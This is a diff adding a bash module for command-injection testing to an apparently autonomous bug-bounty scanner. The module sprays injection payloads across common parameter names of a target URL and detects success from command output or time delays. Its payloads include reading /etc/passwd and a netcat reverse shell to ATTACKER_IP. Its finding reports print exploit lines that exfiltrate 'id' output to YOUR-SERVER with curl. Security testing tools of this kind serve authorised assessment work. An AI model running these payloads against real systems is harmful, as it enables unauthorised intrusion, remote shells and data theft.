The Analyzer v1.0 — autonomous bug bounty engine with 20 attack vectors and Ollama brain

vectors/04-command-injection.sh

@@ -0,0 +1,74 @@
+#!/usr/bin/env bash
+# Vector 04: Command Injection
+# Desc: OS command injection via input fields, parameters
+# Detect: Ping, traceroute, nslookup, whois, host, exec parameters
+# Severity: CRITICAL
+# Tools: curl
+
+vector_cmdi() {
+  local target="$1"
+  local report="$2"
+  local findings=0
+  
+  print_info "Testing Command Injection vectors..."
+  
+  local cmd_params=("ping" "host" "lookup" "traceroute" "nslookup" "whois" "exec" "command" "cmd" "run" "trace" "target" "ip" "server")
+  local cmd_payloads=(
+    ";id"
+    "|id"
+    "`id`"
+    "$(id)"
+    ";whoami"
+    "|whoami"
+    ";uname -a"
+    "|cat /etc/passwd"
+    "& ping -c 1 127.0.0.1 &"
+    "| nc -e /bin/sh ATTACKER_IP 4444"
+    ";sleep 3"
+    "|sleep 3"
+  )
+  
+  for param in "${cmd_params[@]}"; do
+    for payload in "${cmd_payloads[@]}"; do
+      local test_url=""
+      if [[ "$target" == *\?* ]]; then
+        test_url="${target}&${param}=${payload}"
+      else
+        test_url="${target}?${param}=${payload}"
+      fi
+      
+      local start_time=$(date +%s%N)
+      local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
+      local end_time=$(date +%s%N)
+      local elapsed=$(( (end_time - start_time) / 1000000 ))
+      
+      # Check for command output in response
+      if echo "$response" | grep -qiE "uid=[0-9]+|gid=[0-9]+|groups=[0-9]+|root|bin|daemon|Linux"; then
+        print_find "Command Injection!" "Command output detected via parameter $param with payload: $payload"
+        echo "SEVERITY: CRITICAL
+VECTOR: Command Injection
+DETAIL: OS command injection via parameter '$param' on $target
+EVIDENCE: System command output reflected in response
+EXPLOIT: ;curl http://YOUR-SERVER/$(id | base64)" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi.txt"
+        findings=$((findings + 1))
+        break 2
+      fi
+      
+      # Time-based detection
+      if echo "$payload" | grep -q "sleep"; then
+        if [ "$elapsed" -ge 2000 ]; then
+          print_find "Time-based Command Injection!" "Response delayed ${elapsed}ms with sleep payload"
+          echo "SEVERITY: CRITICAL
+VECTOR: Command Injection (Time-based)
+DETAIL: Time-based command injection via parameter '$param' on $target
+EVIDENCE: ${elapsed}ms delay with sleep payload
+EXPLOIT: verify with: ;ping -c 5 YOUR-SERVER" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi-time.txt"
+          findings=$((findings + 1))
+          break 2
+        fi
+      fi
+    done
+  done
+  
+  return $findings
+}